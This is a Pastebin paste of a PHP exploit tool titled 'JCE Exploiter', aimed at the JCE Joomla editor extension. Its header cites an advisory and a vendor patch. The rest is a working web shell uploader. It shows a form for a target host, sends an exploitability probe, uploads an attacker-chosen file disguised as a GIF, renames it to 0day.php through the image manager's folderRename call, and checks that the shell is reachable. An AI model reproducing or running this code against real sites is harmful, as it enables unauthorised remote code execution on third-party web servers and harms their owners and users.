Advertisement
jihad-x

JCE Exploiter

Dec 24th, 2013
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.39 KB | None | 0 0
  1. <?php
  2. <?php
  3. ######################################### www.bugreport.ir ########################################
  4. #
  5. #                     AmnPardaz Security Research & Penetration Testing Group
  6. #
  7. #
  8. # Title:                  Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version
  9. # Vendor:                 http://www.joomlacontenteditor.net
  10. # Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)
  11. # Exploitation:           Remote with browser
  12. # Original Advisory:      http://www.bugreport.ir/index_78.htm
  13. # Vendor supplied patch:  http://www.joomlacontenteditor.net/news/item/jce-2011-released
  14. # CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5        
  15. # Coded By:               Mostafa Azizi
  16. ###################################################################################################
  17.  
  18. error_reporting(0);
  19. ini_set("max_execution_time",0);
  20. ini_set("default_socket_timeout", 2);
  21. ob_implicit_flush (1);
  22.  
  23. echo'<html>
  24. <head>
  25. <title>JCE Joomla Extension Remote File Upload</title>
  26. </head>
  27.  
  28. <body bgcolor="#00000">
  29.  
  30. <p align="center"><font size="4" color="#00ff00">JCE Joomla Extension Remote File Upload</font></p>
  31. </font>
  32. <table width="90%">
  33.  <tbody>
  34.    <tr>
  35.      <td width="43%" align="left">
  36.        <form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data"  method="post">
  37.          <p></font><font color="#00ff00" > hostname (ex:www.sitename.com):    </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
  38.          <p></font><font color="#00ff00" > path (ex: /joomla/ or just / ):            </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
  39.          <p></font><font color="#00ff00" >Please specify a file to upload:           </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
  40.          <p><font color="#00ff00" >  specify a port (default is 80):             </font><input name="port" size="20"><span class="Stile5"></span></p>
  41.          <p><font color="#00ff00" >  Proxy (ip:port):                                 </font><input name="proxy" size="20"><span class="Stile5"></span></p>
  42.          <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
  43.          <p><input type="submit" value="Start" name="Submit"></p>
  44.        </form>
  45.      </td>
  46.    </tr>
  47.  </tbody>
  48. </table>
  49. </body></html>';
  50.  
  51. function sendpacket($packet,$response = 0,$output = 0,$s=0)
  52. {
  53.     $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  54.     global $proxy, $host, $port, $html, $user, $pass;
  55.     if ($proxy == '')
  56.     {
  57.         $ock = fsockopen($host,$port);
  58.         stream_set_timeout($ock, 5);
  59.         if (!$ock)
  60.         {
  61.             echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
  62.             die;
  63.         }
  64.     } else
  65.     {
  66.         $parts = explode(':',$proxy);
  67.         echo '<font color=white>Connecting to proxy: '.$parts[0].':'.$parts[1].' ...<br><br/></font>';
  68.         $ock   = fsockopen($parts[0],$parts[1]);
  69.         stream_set_timeout($ock, 5);
  70.         if (!$ock)  
  71.         {
  72.             echo '<font color=white>No response from proxy...<br></font>';
  73.             die;
  74.         }
  75.     }
  76.  
  77.         fputs($ock,$packet);
  78.         if ($response == 1)
  79.         {
  80.             if ($proxy == '')
  81.             {
  82.                 $html = '';
  83.                 while (!feof($ock))
  84.                 {
  85.                     $html .= fgets($ock);
  86.                 }
  87.             } else
  88.             {
  89.                 $html = '';
  90.                 while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
  91.                 {
  92.                     $html .= fread($ock,1);
  93.                 }
  94.             }
  95.         } else $html = '';
  96.  
  97.         fclose($ock);
  98.         if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
  99.         if ($s==1){
  100.         $count=0;
  101.         $res=nl2br(htmlentities($html));
  102.         $str = array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');
  103.         foreach ($str as $value){
  104.         $pos = strpos($res, $value);
  105.         if ($pos === false) {
  106.         $count=$count++;
  107.         } else {
  108.         echo "<font color=white>Target patched.<br/><br/></font>";
  109.         die();
  110.         }
  111.         }
  112.         if ($count=10) echo '<font color=white>Target is exploitable.<br/><br/></font>';
  113.         }
  114. }
  115.  
  116.   $host   = $_POST['host'];
  117.   $path   = $_POST['path'];
  118.   $port   = $_POST['port'];  
  119.   $proxy   = $_POST['proxy'];  
  120.      
  121. if (isset($_POST['Submit']) && $host != '' && $path != '')
  122. {
  123.    
  124.   $port=intval(trim($port));
  125.   if ($port=='') {$port=80;}
  126.   if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
  127.   if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  128.   $host=str_replace("\r\n","",$host);
  129.   $path=str_replace("\r\n","",$path);
  130.    
  131.  
  132.                                                   /* Packet 1 --> Checking Exploitability */
  133.             $packet  = "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
  134.             $packet .= "Host: ".$host."\r\n";
  135.             $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
  136.              
  137.             sendpacket($packet,1,0,1);
  138.  
  139.                                         /* Packet 2 --> Uploading shell as a gif file */
  140.                                          
  141.             $content = "GIF89a1\n";
  142.             $content .= file_get_contents($_FILES['datafile']['tmp_name']);
  143.             $data    = "-----------------------------41184676334\r\n";
  144.             $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
  145.             $data   .= "/\r\n";
  146.             $data   .= "-----------------------------41184676334\r\n";
  147.             $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";
  148.             $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
  149.             $data   .= "-----------------------------41184676334\r\n";
  150.             $data   .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";
  151.             $data   .= "0\r\n";
  152.             $data   .= "-----------------------------41184676334\r\n";
  153.             $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";
  154.             $data   .= "Content-Type: image/gif\r\n\r\n";
  155.             $data   .= "$content\r\n";
  156.             $data   .= "-----------------------------41184676334\r\n";
  157.             $data   .= "0day\r\n";
  158.             $data   .= "-----------------------------41184676334\r\n";
  159.             $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
  160.             $data   .= "upload\r\n";
  161.             $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
  162.             $packet  = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n";
  163.             $packet .= "Host: ".$host."\r\n";
  164.             $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
  165.             $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
  166.             $packet .= "Accept-Language: en-us,en;q=0.5\r\n";
  167.             $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
  168.             $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
  169.             $packet .= "Connection: Close\r\n";
  170.             $packet .= "Proxy-Connection: close\r\n";
  171.             $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
  172.             $packet .= $data;
  173.              
  174.             sendpacket($packet,0,0,0);
  175.              
  176.                                           /* Packet 3 --> Change Extension from .gif to .php */
  177.                                          
  178.                                          
  179.             $packet  = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
  180.             $packet .= "Host: ".$host."\r\n";
  181.             $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
  182.             $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  183.             $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
  184.             $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
  185.             $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
  186.             $packet .= "Accept-Encoding: deflate\n";
  187.             $packet .= "X-Request: JSON\r\n";
  188.             $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
  189.             $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
  190.             $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
  191.             $packet .= $ren."\r\n\r\n";
  192.              
  193.             sendpacket($packet,1,0,0);
  194.  
  195.                                           /* Packet 4 --> Check for successfully uploaded */
  196.                                          
  197.                                          
  198.             $packet  = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
  199.             $packet .= "Host: ".$host."\r\n";
  200.             $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
  201.              
  202.             sendpacket($packet,1,0,0);
  203.    
  204.   if(stristr($html , '200 OK') != true)
  205.   {echo "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
  206. }
  207. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement